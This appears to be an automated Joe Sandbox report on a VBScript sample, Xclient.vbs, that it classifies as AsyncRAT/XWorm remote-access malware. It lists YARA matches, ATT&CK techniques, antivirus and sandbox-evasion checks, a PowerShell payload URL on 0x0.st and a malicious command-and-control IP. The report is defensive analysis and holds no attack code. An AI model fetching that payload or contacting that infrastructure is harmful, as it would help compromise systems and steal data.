Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Yara detected AsyncRAT

Source: Yara match	File source: 5.2.powershell.exe.1d3133b65d0.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.powershell.exe.1e1aa26a4b0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.powershell.exe.2cc0714a0b0.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.1d7ccdde538.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1d3133975c0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.powershell.exe.20601de4450.13.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.powershell.exe.206008ed970.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.1d7ccde7168.12.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.powershell.exe.2cc07141480.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.powershell.exe.1e1aa248728.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.powershell.exe.2cc07127e40.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.powershell.exe.206008f65a0.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.powershell.exe.20601dfa830.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.powershell.exe.20601dfa830.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.1d7ce2d5060.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.1d7ccde7168.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.powershell.exe.20601de4450.13.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.1d7ce2d5060.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.1d7e4bb0000.16.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.1d7ce2eb440.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.powershell.exe.1e1aa261880.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.powershell.exe.206008f65a0.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.1d7ccdde538.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.powershell.exe.206008ed970.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.powershell.exe.1e1aa248728.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1d3133ad9a0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.1d7ce2eb440.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.1d7e4bb0000.16.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1d3133975c0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.powershell.exe.2cc07127e40.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000002.2074612069.000001E1AA212000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2323673539.00000206008C2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2323673539.0000020601DF8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2323673539.0000020601DC4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2325412269.000001D313377000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1945403188.000001D7CE2B5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1945403188.000001D7CE2E9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1969459274.000001D7E4BB0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2248750195.000002CC070F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1945403188.000001D7CCDB3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2323673539.0000020601DE4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 2720, type: MEMORYSTR

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected XWorm

Source: Yara match	File source: 5.2.powershell.exe.1d3133b65d0.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.powershell.exe.1e1aa26a4b0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.powershell.exe.2cc0714a0b0.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.1d7ccdde538.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.powershell.exe.1e1aa26a4b0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1d3133975c0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.powershell.exe.20601de4450.13.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.powershell.exe.206008ed970.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.1d7ccde7168.12.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.powershell.exe.2cc07141480.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.powershell.exe.1e1aa248728.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1d3133b65d0.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.powershell.exe.2cc07127e40.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.powershell.exe.206008f65a0.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.powershell.exe.20601dfa830.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.powershell.exe.2cc0714a0b0.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.powershell.exe.20601dfa830.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.1d7ce2d5060.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.1d7ccde7168.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.powershell.exe.20601de4450.13.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.1d7ce2d5060.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.1d7e4bb0000.16.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.1d7ce2eb440.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.powershell.exe.1e1aa261880.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.powershell.exe.206008f65a0.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1d3133ad9a0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.powershell.exe.1e1aa261880.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.1d7ccdde538.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.powershell.exe.206008ed970.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.powershell.exe.1e1aa248728.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1d3133ad9a0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.1d7ce2eb440.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.1d7e4bb0000.16.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1d3133975c0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.powershell.exe.2cc07141480.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.powershell.exe.2cc07127e40.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000002.2074612069.000001E1AA212000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2323673539.00000206008C2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2323673539.0000020601DF8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2323673539.0000020601DC4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2325412269.000001D313377000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1945403188.000001D7CE2B5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1945403188.000001D7CE2E9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2325412269.000001D3133AB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1969459274.000001D7E4BB0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2074612069.000001E1AA261000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2325412269.000001D312D1B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2248750195.000002CC070F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1945403188.000001D7CCDB3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2323673539.0000020601DE4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2248750195.000002CC07141000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7456, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7900, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3152, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7312, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 2720, type: MEMORYSTR

Remote Access Functionality

Yara detected XWorm

Source: Yara match	File source: 5.2.powershell.exe.1d3133b65d0.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.powershell.exe.1e1aa26a4b0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.powershell.exe.2cc0714a0b0.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.1d7ccdde538.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.powershell.exe.1e1aa26a4b0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1d3133975c0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.powershell.exe.20601de4450.13.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.powershell.exe.206008ed970.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.1d7ccde7168.12.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.powershell.exe.2cc07141480.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.powershell.exe.1e1aa248728.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1d3133b65d0.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.powershell.exe.2cc07127e40.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.powershell.exe.206008f65a0.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.powershell.exe.20601dfa830.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.powershell.exe.2cc0714a0b0.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.powershell.exe.20601dfa830.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.1d7ce2d5060.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.1d7ccde7168.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.powershell.exe.20601de4450.13.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.1d7ce2d5060.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.1d7e4bb0000.16.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.1d7ce2eb440.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.powershell.exe.1e1aa261880.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.powershell.exe.206008f65a0.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1d3133ad9a0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.powershell.exe.1e1aa261880.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.1d7ccdde538.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.powershell.exe.206008ed970.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.powershell.exe.1e1aa248728.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1d3133ad9a0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.1d7ce2eb440.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.powershell.exe.1d7e4bb0000.16.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.1d3133975c0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.powershell.exe.2cc07141480.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.powershell.exe.2cc07127e40.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000002.2074612069.000001E1AA212000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2323673539.00000206008C2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2323673539.0000020601DF8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2323673539.0000020601DC4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2325412269.000001D313377000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1945403188.000001D7CE2B5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1945403188.000001D7CE2E9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2325412269.000001D3133AB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1969459274.000001D7E4BB0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2074612069.000001E1AA261000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2325412269.000001D312D1B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2248750195.000002CC070F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1945403188.000001D7CCDB3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2323673539.0000020601DE4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2248750195.000002CC07141000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7456, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7900, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3152, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7312, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 2720, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	222 Scripting	Valid Accounts	12 Windows Management Instrumentation	222 Scripting	1 LSASS Driver	1 Deobfuscate/Decode Files or Information	OS Credential Dumping	2 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	1 LSASS Driver	1 DLL Side-Loading	13 Obfuscated Files or Information	LSASS Memory	34 System Information Discovery	Remote Desktop Protocol	1 Screen Capture	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	11 Process Injection	3 Software Packing	Security Account Manager	541 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Scheduled Task/Job	1 DLL Side-Loading	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 Scheduled Task/Job	1 Office Application Startup	2 Registry Run Keys / Startup Folder	11 Masquerading	LSA Secrets	251 Virtualization/Sandbox Evasion	SSH	Keylogging	113 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	3 PowerShell	2 Registry Run Keys / Startup Folder	RC Scripts	1 Modify Registry	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	251 Virtualization/Sandbox Evasion	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Xclient.vbs	8%	Virustotal		Browse
Xclient.vbs	27%	ReversingLabs	Script-WScript.Backdoor.Asyncrat

Source	Detection	Scanner	Label	Link
http://0x0.st	0%	Avira URL Cloud	safe
185.241.208.215	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
a-0003.a-msedge.net	204.79.197.203	true	false	high
ip-api.com	208.95.112.1	true	false	high
0x0.st	168.119.145.117	true	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://0x0.st/8KuV.ps1	false		high
185.241.208.215	true	Avira URL Cloud: safe	unknown
http://ip-api.com/line/?fields=hosting	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	svchost.exe, 0000001F.00000003.2316380909.00000286952FF000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.2316380909.000002869520E000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.31.dr	false		high
http://nuget.org/NuGet.exe	powershell.exe, 00000005.00000002.2547321212.000001D322523000.00000004.00000800.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2	svchost.exe, 0000001F.00000003.2316380909.00000286952C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.31.dr	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000005.00000002.2325412269.000001D3126D2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 0000001F.00000003.2316380909.00000286952C2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000005.00000002.2325412269.000001D3126D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://0x0.st	powershell.exe, 00000005.00000002.2325412269.000001D313C04000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1945403188.000001D7CD0F5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2074612069.000001E1AA55A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2248750195.000002CC07437000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.2323673539.0000020600C04000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://go.micro	powershell.exe, 00000005.00000002.2325412269.000001D3133E2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://0x0.st	powershell.exe, 00000005.00000002.2325412269.000001D313B49000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1945403188.000001D7CCDF9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1945403188.000001D7CC71D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2074612069.000001E1AA4A6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2074612069.000001E1A9B7C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2248750195.000002CC0715A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2248750195.000002CC06A5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.2323673539.000002060022C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.2323673539.0000020600903000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000005.00000002.2547321212.000001D322523000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000005.00000002.2547321212.000001D322523000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000005.00000002.2547321212.000001D322523000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ip-api.com	powershell.exe, 00000005.00000002.2325412269.000001D3133DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2325412269.000001D312D1B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2325412269.000001D3133D8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000005.00000002.2547321212.000001D322523000.00000004.00000800.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 0000001F.00000003.2316380909.00000286952A3000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.2316380909.0000028695307000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.2316380909.00000286952C2000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001F.00000003.2316380909.00000286952E8000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.31.dr	false		high
https://aka.ms/pscore68	powershell.exe, 00000005.00000002.2325412269.000001D3124B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1945403188.000001D7CC4F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2074612069.000001E1A9956000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2248750195.000002CC06836000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.2323673539.0000020600006000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000005.00000002.2325412269.000001D3124B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1945403188.000001D7CC4F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2074612069.000001E1A9956000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2248750195.000002CC06836000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001C.00000002.2323673539.0000020600006000.00000004.00000800.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 0000001F.00000003.2316380909.00000286952C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.31.dr	false		high
https://github.com/Pester/Pester	powershell.exe, 00000005.00000002.2325412269.000001D3126D2000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States	53334	TUT-ASUS	false
168.119.145.117	0x0.st	Germany	24940	HETZNER-ASDE	false
185.241.208.215	unknown	Moldova Republic of	26636	GBTCLOUDUS	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1615978
Start date and time:	2025-02-15 20:42:20 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 26s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	71
Number of new started drivers analysed:	5
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	Xclient.vbs
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winVBS@52/31@4/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 98% Number of executed functions: 10 Number of non-executed functions: 2
Cookbook Comments:	Found application associated with file extension: .vbs

Warnings

Connection to analysis system has been lost, crash info: Unknown
Exclude process from analysis (whitelisted): MpCmdRun.exe, Conhost.exe, smss.exe, dwm.exe, WMIADAP.exe, SIHClient.exe, csrss.exe, winlogon.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.19.106.160, 2.19.104.63, 23.60.201.147, 184.86.251.21, 184.86.251.8, 184.86.251.20, 184.86.251.12, 184.86.251.22, 184.86.251.4, 184.86.251.19, 184.86.251.27, 184.86.251.7, 40.126.32.140, 20.190.160.132, 40.126.32.133, 20.190.160.17, 40.126.32.74, 40.126.32.68, 20.190.160.5, 20.190.160.3, 2.19.96.129, 2.19.96.82, 2.19.96.91, 2.19.96.80, 2.19.96.90, 4.245.163.56, 13.107.246.61
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, www.tm.lg.prod.aadmsa.akadns.net, p-static.bing.trafficmanager.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, cdn.onenote.net.edgekey.net, e86303.dscx.akamaiedge.net, www.bing.com.edgekey.net, wildcard.weather.microsoft.com.edgekey.net, login.live.com, e16604.g.akamaiedge.net, r.bing.com, prod.fs.microsoft.com.akadns.net, cdn.onenote.net, www.bing.com, prdv4a.aadg.msidentity.com, fs.microsoft.com, otelrules.azureedge.net, e15275.d.akamaiedge.net, r.bing.com.edgekey.net, tile-service.weather.microsoft.com, www.tm.v4.a.prd.aadg.trafficmanager.net, www-www.bing.com.trafficmanager.net, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, e1553.dspg.akamaiedge.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
